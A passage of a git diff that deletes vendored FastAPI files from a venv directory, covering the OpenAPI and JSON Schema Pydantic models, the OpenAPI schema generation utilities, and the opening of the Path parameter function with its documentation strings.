Field(default=None, alias="$dynamicRef") - defs: dict[str, "SchemaOrBool"] | None = Field(default=None, alias="$defs") - comment: str | None = Field(default=None, alias="$comment") - # Ref: JSON Schema 2020-12: https://json-schema.org/draft/2020-12/json-schema-core.html#name-a-vocabulary-for-applying-s - # A Vocabulary for Applying Subschemas - allOf: list["SchemaOrBool"] | None = None - anyOf: list["SchemaOrBool"] | None = None - oneOf: list["SchemaOrBool"] | None = None - not_: Optional["SchemaOrBool"] = Field(default=None, alias="not") - if_: Optional["SchemaOrBool"] = Field(default=None, alias="if") - then: Optional["SchemaOrBool"] = None - else_: Optional["SchemaOrBool"] = Field(default=None, alias="else") - dependentSchemas: dict[str, "SchemaOrBool"] | None = None - prefixItems: list["SchemaOrBool"] | None = None - items: Optional["SchemaOrBool"] = None - contains: Optional["SchemaOrBool"] = None - properties: dict[str, "SchemaOrBool"] | None = None - patternProperties: dict[str, "SchemaOrBool"] | None = None - additionalProperties: Optional["SchemaOrBool"] = None - propertyNames: Optional["SchemaOrBool"] = None - unevaluatedItems: Optional["SchemaOrBool"] = None - unevaluatedProperties: Optional["SchemaOrBool"] = None - # Ref: JSON Schema Validation 2020-12: https://json-schema.org/draft/2020-12/json-schema-validation.html#name-a-vocabulary-for-structural - # A Vocabulary for Structural Validation - type: SchemaType | list[SchemaType] | None = None - enum: list[Any] | None = None - const: Any | None = None - multipleOf: float | None = Field(default=None, gt=0) - maximum: float | None = None - exclusiveMaximum: float | None = None - minimum: float | None = None - exclusiveMinimum: float | None = None - maxLength: int | None = Field(default=None, ge=0) - minLength: int | None = Field(default=None, ge=0) - pattern: str | None = None - maxItems: int | None = Field(default=None, ge=0) - minItems: int | None = Field(default=None, ge=0) - uniqueItems: bool | None = None - maxContains: int | None = Field(default=None, ge=0) - minContains: int | None = Field(default=None, ge=0) - maxProperties: int | None = Field(default=None, ge=0) - minProperties: int | None = Field(default=None, ge=0) - required: list[str] | None = None - dependentRequired: dict[str, set[str]] | None = None - # Ref: JSON Schema Validation 2020-12: https://json-schema.org/draft/2020-12/json-schema-validation.html#name-vocabularies-for-semantic-c - # Vocabularies for Semantic Content With "format" - format: str | None = None - # Ref: JSON Schema Validation 2020-12: https://json-schema.org/draft/2020-12/json-schema-validation.html#name-a-vocabulary-for-the-conten - # A Vocabulary for the Contents of String-Encoded Data - contentEncoding: str | None = None - contentMediaType: str | None = None - contentSchema: Optional["SchemaOrBool"] = None - # Ref: JSON Schema Validation 2020-12: https://json-schema.org/draft/2020-12/json-schema-validation.html#name-a-vocabulary-for-basic-meta - # A Vocabulary for Basic Meta-Data Annotations - title: str | None = None - description: str | None = None - default: Any | None = None - deprecated: bool | None = None - readOnly: bool | None = None - writeOnly: bool | None = None - examples: list[Any] | None = None - # Ref: OpenAPI 3.1.0: https://github.com/OAI/OpenAPI-Specification/blob/main/versions/3.1.0.md#schema-object - # Schema Object - discriminator: Discriminator | None = None - xml: XML | None = None - externalDocs: ExternalDocumentation | None = None - example: Annotated[ - Any | None, - typing_deprecated( - "Deprecated in OpenAPI 3.1.0 that now uses JSON Schema 2020-12, " - "although still supported. Use examples instead." - ), - ] = None - - -# Ref: https://json-schema.org/draft/2020-12/json-schema-core.html#name-json-schema-documents -# A JSON Schema MUST be an object or a boolean. -SchemaOrBool = Schema | bool - - -class Example(TypedDict, total=False): - summary: str | None - description: str | None - value: Any | None - externalValue: AnyUrl | None - - __pydantic_config__ = {"extra": "allow"} # type: ignore[misc] # ty: ignore[invalid-typed-dict-statement] - - -class ParameterInType(Enum): - query = "query" - header = "header" - path = "path" - cookie = "cookie" - - -class Encoding(BaseModelWithConfig): - contentType: str | None = None - headers: dict[str, Union["Header", Reference]] | None = None - style: str | None = None - explode: bool | None = None - allowReserved: bool | None = None - - -class MediaType(BaseModelWithConfig): - schema_: Schema | Reference | None = Field(default=None, alias="schema") - example: Any | None = None - examples: dict[str, Example | Reference] | None = None - encoding: dict[str, Encoding] | None = None - - -class ParameterBase(BaseModelWithConfig): - description: str | None = None - required: bool | None = None - deprecated: bool | None = None - # Serialization rules for simple scenarios - style: str | None = None - explode: bool | None = None - allowReserved: bool | None = None - schema_: Schema | Reference | None = Field(default=None, alias="schema") - example: Any | None = None - examples: dict[str, Example | Reference] | None = None - # Serialization rules for more complex scenarios - content: dict[str, MediaType] | None = None - - -class Parameter(ParameterBase): - name: str - in_: ParameterInType = Field(alias="in") - - -class Header(ParameterBase): - pass - - -class RequestBody(BaseModelWithConfig): - description: str | None = None - content: dict[str, MediaType] - required: bool | None = None - - -class Link(BaseModelWithConfig): - operationRef: str | None = None - operationId: str | None = None - parameters: dict[str, Any | str] | None = None - requestBody: Any | str | None = None - description: str | None = None - server: Server | None = None - - -class Response(BaseModelWithConfig): - description: str - headers: dict[str, Header | Reference] | None = None - content: dict[str, MediaType] | None = None - links: dict[str, Link | Reference] | None = None - - -class Operation(BaseModelWithConfig): - tags: list[str] | None = None - summary: str | None = None - description: str | None = None - externalDocs: ExternalDocumentation | None = None - operationId: str | None = None - parameters: list[Parameter | Reference] | None = None - requestBody: RequestBody | Reference | None = None - # Using Any for Specification Extensions - responses: dict[str, Response | Any] | None = None - callbacks: dict[str, dict[str, "PathItem"] | Reference] | None = None - deprecated: bool | None = None - security: list[dict[str, list[str]]] | None = None - servers: list[Server] | None = None - - -class PathItem(BaseModelWithConfig): - ref: str | None = Field(default=None, alias="$ref") - summary: str | None = None - description: str | None = None - get: Operation | None = None - put: Operation | None = None - post: Operation | None = None - delete: Operation | None = None - options: Operation | None = None - head: Operation | None = None - patch: Operation | None = None - trace: Operation | None = None - servers: list[Server] | None = None - parameters: list[Parameter | Reference] | None = None - - -class SecuritySchemeType(Enum): - apiKey = "apiKey" - http = "http" - oauth2 = "oauth2" - openIdConnect = "openIdConnect" - - -class SecurityBase(BaseModelWithConfig): - type_: SecuritySchemeType = Field(alias="type") - description: str | None = None - - -class APIKeyIn(Enum): - query = "query" - header = "header" - cookie = "cookie" - - -class APIKey(SecurityBase): - type_: SecuritySchemeType = Field(default=SecuritySchemeType.apiKey, alias="type") - in_: APIKeyIn = Field(alias="in") - name: str - - -class HTTPBase(SecurityBase): - type_: SecuritySchemeType = Field(default=SecuritySchemeType.http, alias="type") - scheme: str - - -class HTTPBearer(HTTPBase): - scheme: Literal["bearer"] = "bearer" - bearerFormat: str | None = None - - -class OAuthFlow(BaseModelWithConfig): - refreshUrl: str | None = None - scopes: dict[str, str] = {} - - -class OAuthFlowImplicit(OAuthFlow): - authorizationUrl: str - - -class OAuthFlowPassword(OAuthFlow): - tokenUrl: str - - -class OAuthFlowClientCredentials(OAuthFlow): - tokenUrl: str - - -class OAuthFlowAuthorizationCode(OAuthFlow): - authorizationUrl: str - tokenUrl: str - - -class OAuthFlows(BaseModelWithConfig): - implicit: OAuthFlowImplicit | None = None - password: OAuthFlowPassword | None = None - clientCredentials: OAuthFlowClientCredentials | None = None - authorizationCode: OAuthFlowAuthorizationCode | None = None - - -class OAuth2(SecurityBase): - type_: SecuritySchemeType = Field(default=SecuritySchemeType.oauth2, alias="type") - flows: OAuthFlows - - -class OpenIdConnect(SecurityBase): - type_: SecuritySchemeType = Field( - default=SecuritySchemeType.openIdConnect, alias="type" - ) - openIdConnectUrl: str - - -SecurityScheme = APIKey | HTTPBase | OAuth2 | OpenIdConnect | HTTPBearer - - -class Components(BaseModelWithConfig): - schemas: dict[str, Schema | Reference] | None = None - responses: dict[str, Response | Reference] | None = None - parameters: dict[str, Parameter | Reference] | None = None - examples: dict[str, Example | Reference] | None = None - requestBodies: dict[str, RequestBody | Reference] | None = None - headers: dict[str, Header | Reference] | None = None - securitySchemes: dict[str, SecurityScheme | Reference] | None = None - links: dict[str, Link | Reference] | None = None - # Using Any for Specification Extensions - callbacks: dict[str, dict[str, PathItem] | Reference | Any] | None = None - pathItems: dict[str, PathItem | Reference] | None = None - - -class Tag(BaseModelWithConfig): - name: str - description: str | None = None - externalDocs: ExternalDocumentation | None = None - - -class OpenAPI(BaseModelWithConfig): - openapi: str - info: Info - jsonSchemaDialect: str | None = None - servers: list[Server] | None = None - # Using Any for Specification Extensions - paths: dict[str, PathItem | Any] | None = None - webhooks: dict[str, PathItem | Reference] | None = None - components: Components | None = None - security: list[dict[str, list[str]]] | None = None - tags: list[Tag] | None = None - externalDocs: ExternalDocumentation | None = None - - -Schema.model_rebuild() -Operation.model_rebuild() -Encoding.model_rebuild() diff --git a/venv/Lib/site-packages/fastapi/openapi/utils.py b/venv/Lib/site-packages/fastapi/openapi/utils.py deleted file mode 100644 index 74caac44a4187fa6646b5053dd5ca83641ee26df..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/openapi/utils.py +++ /dev/null @@ -1,679 +0,0 @@ -import copy -import http.client -import inspect -import warnings -from collections.abc import Sequence -from dataclasses import dataclass, field -from typing import Any, Literal, cast - -from fastapi import routing -from fastapi._compat import ( - ModelField, - get_definitions, - get_flat_models_from_fields, - get_model_name_map, - get_schema_from_model_field, - lenient_issubclass, -) -from fastapi.datastructures import DefaultPlaceholder, _Unset -from fastapi.dependencies.models import ( - Dependant, - _get_cache_key, - _get_oauth_scopes, - _get_security_scheme, - _is_security_scheme, - _UsesScopesCache, -) -from fastapi.dependencies.utils import ( - _get_flat_fields_from_params, - get_flat_params, - get_validation_alias, -) -from fastapi.encoders import jsonable_encoder -from fastapi.exceptions import FastAPIDeprecationWarning -from fastapi.openapi.constants import METHODS_WITH_BODY, REF_PREFIX -from fastapi.openapi.models import OpenAPI -from fastapi.params import Body, ParamTypes -from fastapi.responses import Response -from fastapi.sse import _SSE_EVENT_SCHEMA -from fastapi.types import DependencyCacheKey, ModelNameMap -from fastapi.utils import ( - deep_dict_update, - generate_operation_id_for_path, - is_body_allowed_for_status_code, -) -from pydantic import BaseModel -from starlette.responses import JSONResponse -from starlette.routing import BaseRoute - -validation_error_definition = { - "title": "ValidationError", - "type": "object", - "properties": { - "loc": { - "title": "Location", - "type": "array", - "items": {"anyOf": [{"type": "string"}, {"type": "integer"}]}, - }, - "msg": {"title": "Message", "type": "string"}, - "type": {"title": "Error Type", "type": "string"}, - "input": {"title": "Input"}, - "ctx": {"title": "Context", "type": "object"}, - }, - "required": ["loc", "msg", "type"], -} - -validation_error_response_definition = { - "title": "HTTPValidationError", - "type": "object", - "properties": { - "detail": { - "title": "Detail", - "type": "array", - "items": {"$ref": REF_PREFIX + "ValidationError"}, - } - }, -} - -status_code_ranges: dict[str, str] = { - "1XX": "Information", - "2XX": "Success", - "3XX": "Redirection", - "4XX": "Client Error", - "5XX": "Server Error", - "DEFAULT": "Default Response", -} - - -@dataclass -class _OpenAPIDependencyData: - path_params: list[ModelField] = field(default_factory=list) - query_params: list[ModelField] = field(default_factory=list) - header_params: list[ModelField] = field(default_factory=list) - cookie_params: list[ModelField] = field(default_factory=list) - security_dependencies: list[tuple[Dependant, list[str]]] = field( - default_factory=list - ) - - -def _get_openapi_dependency_data(dependant: Dependant) -> _OpenAPIDependencyData: - dependency_data = _OpenAPIDependencyData() - visited: list[DependencyCacheKey] = [] - uses_scopes_cache: _UsesScopesCache = {} - dependants: list[tuple[Dependant, list[str], bool]] = [(dependant, [], True)] - while dependants: - current_dependant, parent_oauth_scopes, is_root = dependants.pop() - cache_key = _get_cache_key( - dependant=current_dependant, - uses_scopes_cache=uses_scopes_cache, - ) - if cache_key in visited: - continue - visited.append(cache_key) - dependency_data.path_params.extend(current_dependant.path_params) - dependency_data.query_params.extend(current_dependant.query_params) - dependency_data.header_params.extend(current_dependant.header_params) - dependency_data.cookie_params.extend(current_dependant.cookie_params) - oauth_scopes = parent_oauth_scopes.copy() - for scope in _get_oauth_scopes(dependant=current_dependant): - if scope not in oauth_scopes: - oauth_scopes.append(scope) - if not is_root and _is_security_scheme(dependant=current_dependant): - dependency_data.security_dependencies.append( - (current_dependant, oauth_scopes) - ) - dependants.extend( - (sub_dependant, oauth_scopes, False) - for sub_dependant in reversed(current_dependant.dependencies) - ) - return dependency_data - - -def _get_openapi_security_definitions( - security_dependencies: list[tuple[Dependant, list[str]]], -) -> tuple[dict[str, Any], list[dict[str, Any]]]: - security_definitions = {} - # Use a dict to merge scopes for same security scheme - operation_security_dict: dict[str, list[str]] = {} - for security_dependency, oauth_scopes in security_dependencies: - security_scheme = _get_security_scheme(dependant=security_dependency) - security_definition = jsonable_encoder( - security_scheme.model, - by_alias=True, - exclude_none=True, - ) - security_name = security_scheme.scheme_name - security_definitions[security_name] = security_definition - # Merge scopes for the same security scheme - if security_name not in operation_security_dict: - operation_security_dict[security_name] = [] - for scope in oauth_scopes: - if scope not in operation_security_dict[security_name]: - operation_security_dict[security_name].append(scope) - operation_security = [ - {name: scopes} for name, scopes in operation_security_dict.items() - ] - return security_definitions, operation_security - - -def _get_openapi_operation_parameters( - *, - dependency_data: _OpenAPIDependencyData, - model_name_map: ModelNameMap, - field_mapping: dict[ - tuple[ModelField, Literal["validation", "serialization"]], dict[str, Any] - ], - separate_input_output_schemas: bool = True, -) -> list[dict[str, Any]]: - parameters = [] - path_params = _get_flat_fields_from_params(dependency_data.path_params) - query_params = _get_flat_fields_from_params(dependency_data.query_params) - header_params = _get_flat_fields_from_params(dependency_data.header_params) - cookie_params = _get_flat_fields_from_params(dependency_data.cookie_params) - parameter_groups = [ - (ParamTypes.path, path_params), - (ParamTypes.query, query_params), - (ParamTypes.header, header_params), - (ParamTypes.cookie, cookie_params), - ] - default_convert_underscores = True - if len(dependency_data.header_params) == 1: - first_field = dependency_data.header_params[0] - if lenient_issubclass(first_field.field_info.annotation, BaseModel): - default_convert_underscores = getattr( - first_field.field_info, "convert_underscores", True - ) - for param_type, param_group in parameter_groups: - for param in param_group: - field_info = param.field_info - # field_info = cast(Param, field_info) - if not getattr(field_info, "include_in_schema", True): - continue - param_schema = get_schema_from_model_field( - field=param, - model_name_map=model_name_map, - field_mapping=field_mapping, - separate_input_output_schemas=separate_input_output_schemas, - ) - name = get_validation_alias(param) - convert_underscores = getattr( - param.field_info, - "convert_underscores", - default_convert_underscores, - ) - if ( - param_type == ParamTypes.header - and name == param.name - and convert_underscores - ): - name = param.name.replace("_", "-") - - parameter = { - "name": name, - "in": param_type.value, - "required": param.field_info.is_required(), - "schema": param_schema, - } - if field_info.description: - parameter["description"] = field_info.description - openapi_examples = getattr(field_info, "openapi_examples", None) - example = getattr(field_info, "example", None) - if openapi_examples: - parameter["examples"] = jsonable_encoder(openapi_examples) - elif example is not _Unset: - parameter["example"] = jsonable_encoder(example) - if getattr(field_info, "deprecated", None): - parameter["deprecated"] = True - parameters.append(parameter) - return parameters - - -def get_openapi_operation_request_body( - *, - body_field: ModelField | None, - model_name_map: ModelNameMap, - field_mapping: dict[ - tuple[ModelField, Literal["validation", "serialization"]], dict[str, Any] - ], - separate_input_output_schemas: bool = True, -) -> dict[str, Any] | None: - if not body_field: - return None - assert isinstance(body_field, ModelField) - body_schema = get_schema_from_model_field( - field=body_field, - model_name_map=model_name_map, - field_mapping=field_mapping, - separate_input_output_schemas=separate_input_output_schemas, - ) - field_info = cast(Body, body_field.field_info) - request_media_type = field_info.media_type - required = body_field.field_info.is_required() - request_body_oai: dict[str, Any] = {} - if required: - request_body_oai["required"] = required - request_media_content: dict[str, Any] = {"schema": body_schema} - if field_info.openapi_examples: - request_media_content["examples"] = jsonable_encoder( - field_info.openapi_examples - ) - elif field_info.example is not _Unset: - request_media_content["example"] = jsonable_encoder(field_info.example) - request_body_oai["content"] = {request_media_type: request_media_content} - return request_body_oai - - -def generate_operation_id( - *, route: routing._APIRouteLike, method: str -) -> str: # pragma: nocover - warnings.warn( - message="fastapi.openapi.utils.generate_operation_id() was deprecated, " - "it is not used internally, and will be removed soon", - category=FastAPIDeprecationWarning, - stacklevel=2, - ) - if route.operation_id: - return route.operation_id - path: str = route.path_format - return generate_operation_id_for_path(name=route.name, path=path, method=method) - - -def generate_operation_summary(*, route: routing._APIRouteLike, method: str) -> str: - if route.summary: - return route.summary - return route.name.replace("_", " ").title() - - -def get_openapi_operation_metadata( - *, route: routing._APIRouteLike, method: str, operation_ids: set[str] -) -> dict[str, Any]: - operation: dict[str, Any] = {} - if route.tags: - operation["tags"] = route.tags - operation["summary"] = generate_operation_summary(route=route, method=method) - if route.description: - operation["description"] = route.description - operation_id = route.operation_id or route.unique_id - if operation_id in operation_ids: - endpoint_name = getattr(route.endpoint, "__name__", "") - message = f"Duplicate Operation ID {operation_id} for function {endpoint_name}" - file_name = getattr(route.endpoint, "__globals__", {}).get("__file__") - if file_name: - message += f" at {file_name}" - warnings.warn(message, stacklevel=1) - operation_ids.add(operation_id) - operation["operationId"] = operation_id - if route.deprecated: - operation["deprecated"] = route.deprecated - return operation - - -def get_openapi_path( - *, - route: routing._APIRouteLike, - operation_ids: set[str], - model_name_map: ModelNameMap, - field_mapping: dict[ - tuple[ModelField, Literal["validation", "serialization"]], dict[str, Any] - ], - separate_input_output_schemas: bool = True, -) -> tuple[dict[str, Any], dict[str, Any], dict[str, Any]]: - path = {} - security_schemes: dict[str, Any] = {} - definitions: dict[str, Any] = {} - assert route.methods is not None, "Methods must be a list" - if isinstance(route.response_class, DefaultPlaceholder): - current_response_class: type[Response] = route.response_class.value - else: - current_response_class = route.response_class - assert current_response_class, "A response class is needed to generate OpenAPI" - route_response_media_type: str | None = current_response_class.media_type - if route.include_in_schema: - dependency_data = _get_openapi_dependency_data(route.dependant) - all_route_params = [ - field - for fields in ( - dependency_data.path_params, - dependency_data.query_params, - dependency_data.header_params, - dependency_data.cookie_params, - ) - for field in _get_flat_fields_from_params(fields) - ] - for method in route.methods: - operation = get_openapi_operation_metadata( - route=route, method=method, operation_ids=operation_ids - ) - parameters: list[dict[str, Any]] = [] - security_definitions, operation_security = ( - _get_openapi_security_definitions( - security_dependencies=dependency_data.security_dependencies - ) - ) - if operation_security: - operation.setdefault("security", []).extend(operation_security) - if security_definitions: - security_schemes.update(security_definitions) - operation_parameters = _get_openapi_operation_parameters( - dependency_data=dependency_data, - model_name_map=model_name_map, - field_mapping=field_mapping, - separate_input_output_schemas=separate_input_output_schemas, - ) - parameters.extend(operation_parameters) - if parameters: - all_parameters = { - (param["in"], param["name"]): param for param in parameters - } - required_parameters = { - (param["in"], param["name"]): param - for param in parameters - if param.get("required") - } - # Make sure required definitions of the same parameter take precedence - # over non-required definitions - all_parameters.update(required_parameters) - operation["parameters"] = list(all_parameters.values()) - if method in METHODS_WITH_BODY: - request_body_oai = get_openapi_operation_request_body( - body_field=route.body_field, - model_name_map=model_name_map, - field_mapping=field_mapping, - separate_input_output_schemas=separate_input_output_schemas, - ) - if request_body_oai: - operation["requestBody"] = request_body_oai - if route.callbacks: - callbacks = {} - for callback in route.callbacks: - if isinstance(callback, routing.APIRoute): - ( - cb_path, - cb_security_schemes, - cb_definitions, - ) = get_openapi_path( - route=cast(routing._APIRouteLike, callback), - operation_ids=operation_ids, - model_name_map=model_name_map, - field_mapping=field_mapping, - separate_input_output_schemas=separate_input_output_schemas, - ) - callbacks[callback.name] = {callback.path: cb_path} - operation["callbacks"] = callbacks - if route.status_code is not None: - status_code = str(route.status_code) - else: - # It would probably make more sense for all response classes to have an - # explicit default status_code, and to extract it from them, instead of - # doing this inspection tricks, that would probably be in the future - # TODO: probably make status_code a default class attribute for all - # responses in Starlette - response_signature = inspect.signature(current_response_class.__init__) - status_code_param = response_signature.parameters.get("status_code") - if status_code_param is not None: - if isinstance(status_code_param.default, int): - status_code = str(status_code_param.default) - operation.setdefault("responses", {}).setdefault(status_code, {})[ - "description" - ] = route.response_description - if is_body_allowed_for_status_code(route.status_code): - # Check for JSONL streaming (generator endpoints) - if route.is_json_stream: - jsonl_content: dict[str, Any] = {} - if route.stream_item_field: - item_schema = get_schema_from_model_field( - field=route.stream_item_field, - model_name_map=model_name_map, - field_mapping=field_mapping, - separate_input_output_schemas=separate_input_output_schemas, - ) - jsonl_content["itemSchema"] = item_schema - else: - jsonl_content["itemSchema"] = {} - operation.setdefault("responses", {}).setdefault( - status_code, {} - ).setdefault("content", {})["application/jsonl"] = jsonl_content - elif route.is_sse_stream: - sse_content: dict[str, Any] = {} - item_schema = copy.deepcopy(_SSE_EVENT_SCHEMA) - if route.stream_item_field: - content_schema = get_schema_from_model_field( - field=route.stream_item_field, - model_name_map=model_name_map, - field_mapping=field_mapping, - separate_input_output_schemas=separate_input_output_schemas, - ) - item_schema["required"] = ["data"] - item_schema["properties"]["data"] = { - "type": "string", - "contentMediaType": "application/json", - "contentSchema": content_schema, - } - sse_content["itemSchema"] = item_schema - operation.setdefault("responses", {}).setdefault( - status_code, {} - ).setdefault("content", {})["text/event-stream"] = sse_content - elif route_response_media_type: - response_schema = {"type": "string"} - if lenient_issubclass(current_response_class, JSONResponse): - if route.response_field: - response_schema = get_schema_from_model_field( - field=route.response_field, - model_name_map=model_name_map, - field_mapping=field_mapping, - separate_input_output_schemas=separate_input_output_schemas, - ) - else: - response_schema = {} - operation.setdefault("responses", {}).setdefault( - status_code, {} - ).setdefault("content", {}).setdefault( - route_response_media_type, {} - )["schema"] = response_schema - if route.responses: - operation_responses = operation.setdefault("responses", {}) - for ( - additional_status_code, - additional_response, - ) in route.responses.items(): - process_response = copy.deepcopy(additional_response) - process_response.pop("model", None) - status_code_key = str(additional_status_code).upper() - if status_code_key == "DEFAULT": - status_code_key = "default" - openapi_response = operation_responses.setdefault( - status_code_key, {} - ) - assert isinstance(process_response, dict), ( - "An additional response must be a dict" - ) - field = route.response_fields.get(additional_status_code) - additional_field_schema: dict[str, Any] | None = None - if field: - additional_field_schema = get_schema_from_model_field( - field=field, - model_name_map=model_name_map, - field_mapping=field_mapping, - separate_input_output_schemas=separate_input_output_schemas, - ) - media_type = route_response_media_type or "application/json" - additional_schema = ( - process_response.setdefault("content", {}) - .setdefault(media_type, {}) - .setdefault("schema", {}) - ) - deep_dict_update(additional_schema, additional_field_schema) - status_text: str | None = status_code_ranges.get( - str(additional_status_code).upper() - ) or http.client.responses.get(int(additional_status_code)) - description = ( - process_response.get("description") - or openapi_response.get("description") - or status_text - or "Additional Response" - ) - deep_dict_update(openapi_response, process_response) - openapi_response["description"] = description - http422 = "422" - if (all_route_params or route.body_field) and not any( - status in operation["responses"] - for status in [http422, "4XX", "default"] - ): - operation["responses"][http422] = { - "description": "Validation Error", - "content": { - "application/json": { - "schema": {"$ref": REF_PREFIX + "HTTPValidationError"} - } - }, - } - if "ValidationError" not in definitions: - definitions.update( - { - "ValidationError": validation_error_definition, - "HTTPValidationError": validation_error_response_definition, - } - ) - if route.openapi_extra: - deep_dict_update(operation, route.openapi_extra) - path[method.lower()] = operation - return path, security_schemes, definitions - - -def _get_api_route_for_openapi( - route_context: routing.RouteContext, -) -> routing._APIRouteLike | None: - if isinstance(route_context.original_route, routing.APIRoute): - return cast(routing._APIRouteLike, route_context) - return None - - -def get_fields_from_routes( - routes: Sequence[BaseRoute | routing.RouteContext], -) -> list[ModelField]: - body_fields_from_routes: list[ModelField] = [] - responses_from_routes: list[ModelField] = [] - request_fields_from_routes: list[ModelField] = [] - callback_flat_models: list[ModelField] = [] - for route_context in routing.iter_route_contexts(routes): - api_route = _get_api_route_for_openapi(route_context) - if api_route is None: - continue - if api_route.include_in_schema: - if api_route.body_field: - assert isinstance(api_route.body_field, ModelField), ( - "A request body must be a Pydantic Field" - ) - body_fields_from_routes.append(api_route.body_field) - if api_route.response_field: - responses_from_routes.append(api_route.response_field) - if api_route.response_fields: - responses_from_routes.extend(api_route.response_fields.values()) - if api_route.stream_item_field: - responses_from_routes.append(api_route.stream_item_field) - if api_route.callbacks: - callback_flat_models.extend(get_fields_from_routes(api_route.callbacks)) - params = get_flat_params(api_route.dependant) - request_fields_from_routes.extend(params) - - flat_models = callback_flat_models + list( - body_fields_from_routes + responses_from_routes + request_fields_from_routes - ) - return flat_models - - -def get_openapi( - *, - title: str, - version: str, - openapi_version: str = "3.1.0", - summary: str | None = None, - description: str | None = None, - routes: Sequence[BaseRoute | routing.RouteContext], - webhooks: Sequence[BaseRoute | routing.RouteContext] | None = None, - tags: list[dict[str, Any]] | None = None, - servers: list[dict[str, str | Any]] | None = None, - terms_of_service: str | None = None, - contact: dict[str, str | Any] | None = None, - license_info: dict[str, str | Any] | None = None, - separate_input_output_schemas: bool = True, - external_docs: dict[str, Any] | None = None, -) -> dict[str, Any]: - info: dict[str, Any] = {"title": title, "version": version} - if summary: - info["summary"] = summary - if description: - info["description"] = description - if terms_of_service: - info["termsOfService"] = terms_of_service - if contact: - info["contact"] = contact - if license_info: - info["license"] = license_info - output: dict[str, Any] = {"openapi": openapi_version, "info": info} - if servers: - output["servers"] = servers - components: dict[str, dict[str, Any]] = {} - paths: dict[str, dict[str, Any]] = {} - webhook_paths: dict[str, dict[str, Any]] = {} - operation_ids: set[str] = set() - all_fields = get_fields_from_routes(list(routes) + list(webhooks or [])) - flat_models = get_flat_models_from_fields(all_fields, known_models=set()) - model_name_map = get_model_name_map(flat_models) - field_mapping, definitions = get_definitions( - fields=all_fields, - model_name_map=model_name_map, - separate_input_output_schemas=separate_input_output_schemas, - ) - for route_context in routing.iter_route_contexts(routes): - api_route = _get_api_route_for_openapi(route_context) - if api_route is not None: - result = get_openapi_path( - route=api_route, - operation_ids=operation_ids, - model_name_map=model_name_map, - field_mapping=field_mapping, - separate_input_output_schemas=separate_input_output_schemas, - ) - if result: - path, security_schemes, path_definitions = result - if path: - paths.setdefault(api_route.path_format, {}).update(path) - if security_schemes: - components.setdefault("securitySchemes", {}).update( - security_schemes - ) - if path_definitions: - definitions.update(path_definitions) - for webhook_context in routing.iter_route_contexts(webhooks or []): - api_webhook = _get_api_route_for_openapi(webhook_context) - if api_webhook is not None: - result = get_openapi_path( - route=api_webhook, - operation_ids=operation_ids, - model_name_map=model_name_map, - field_mapping=field_mapping, - separate_input_output_schemas=separate_input_output_schemas, - ) - if result: - path, security_schemes, path_definitions = result - if path: - webhook_paths.setdefault(api_webhook.path_format, {}).update(path) - if security_schemes: - components.setdefault("securitySchemes", {}).update( - security_schemes - ) - if path_definitions: - definitions.update(path_definitions) - if definitions: - components["schemas"] = {k: definitions[k] for k in sorted(definitions)} - if components: - output["components"] = components - output["paths"] = paths - if webhook_paths: - output["webhooks"] = webhook_paths - if tags: - output["tags"] = tags - if external_docs: - output["externalDocs"] = external_docs - return jsonable_encoder(OpenAPI(**output), by_alias=True, exclude_none=True) # type: ignore[no-any-return] diff --git a/venv/Lib/site-packages/fastapi/param_functions.py b/venv/Lib/site-packages/fastapi/param_functions.py deleted file mode 100644 index 1856178fcb5c88a46899a7a490fbb0c26d314da1..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/fastapi/param_functions.py +++ /dev/null @@ -1,2460 +0,0 @@ -from collections.abc import Callable, Sequence -from typing import Annotated, Any, Literal - -from annotated_doc import Doc -from fastapi import params -from fastapi._compat import Undefined -from fastapi.datastructures import _Unset -from fastapi.openapi.models import Example -from pydantic import AliasChoices, AliasPath -from typing_extensions import deprecated - - -def Path( # noqa: N802 - default: Annotated[ - Any, - Doc( - """ - Default value if the parameter field is not set. - - This doesn't affect `Path` parameters as the value is always required. - The parameter is available only for compatibility. - """ - ), - ] = ..., - *, - default_factory: Annotated[ - Callable[[], Any] | None, - Doc( - """ - A callable to generate the default value. - - This doesn't affect `Path` parameters as the value is always required. - The parameter is available only for compatibility. - """ - ), - ] = _Unset, - alias: Annotated[ - str | None, - Doc( - """ - An alternative name for the parameter field. - - This will be used to extract the data and for the generated OpenAPI. - It is particularly useful when you can't use the name you want because it - is a Python reserved keyword or similar. - """ - ), - ] = None, - alias_priority: Annotated[ - int | None, - Doc( - """ - Priority of the alias. This affects whether an alias generator is used. - """ - ), - ] = _Unset, - validation_alias: Annotated[ - str | AliasPath | AliasChoices | None, - Doc( - """ - 'Whitelist' validation step. The parameter field will be the single one - allowed by the alias or set of aliases defined. - """ - ), - ] = None, - serialization_alias: Annotated[ - str | None, - Doc( - """ - 'Blacklist' validation step. The vanilla parameter field will be the - single one of the alias' or set of aliases' fields and all the other - fields will be ignored at serialization time. - """ - ), - ] = None, - title: Annotated[ - str | None, - Doc( - """ - Human-readable title. - - Read more about it in the - [FastAPI docs for Path Parameters and Numeric Validations](https://fastapi.tiangolo.com/tutorial/path-params-numeric-validations/#declare-metadata) - """ - ), - ] = None, - description: Annotated[ - str | None, - Doc( - """ - Human-readable description. - """ - ), - ] = None, - gt: Annotated[ - float | None, - Doc( - """ - Greater than. If set, value must be greater than this. Only applicable to - numbers. - - Read more about it in the - [FastAPI docs about Path parameters numeric validations](https://fastapi.tiangolo.com/tutorial/path-params-numeric-validations/#number-validations-greater-than-and-less-than-or-equal) - """ - ), - ] = None, - ge: Annotated[ - float | None, - Doc( - """ - Greater than or equal. If set, value must be greater than or equal to - this. Only applicable to numbers. - - Read more about it in the - [FastAPI docs about Path parameters numeric validations](https://fastapi.tiangolo.com/tutorial/path-params-numeric-validations/#number-validations-greater-than-and-less-than-or-equal) - """ - ), - ] = None, - lt: Annotated[ - float | None, - Doc( - """ - Less than. If set, value must be less than this. Only applicable to numbers. - - Read more about it in the - [FastAPI docs about Path parameters numeric validations](https://fastapi.tiangolo.com/tutorial/path-params-numeric-validations/#number-validations-greater-than-and-less-than-or-equal) - """ - ), - ] = None, - le: Annotated[ - float | None, - Doc( - """ - Less than or equal. If set, value must be less than or equal to this. - Only applicable to numbers. - - Read more about it in the - [FastAPI docs about Path parameters numeric validations](https://fastapi.tiangolo.com/tutorial/path-params-numeric-validations/#number-validations-greater-than-and-less-than-or-equal) - """ - ), - ] = None, - min_length: Annotated[ - int | None, - Doc( - """ - Minimum length for strings. - """ - ), - ] = None, - max_length: Annotated[ - int | None, - 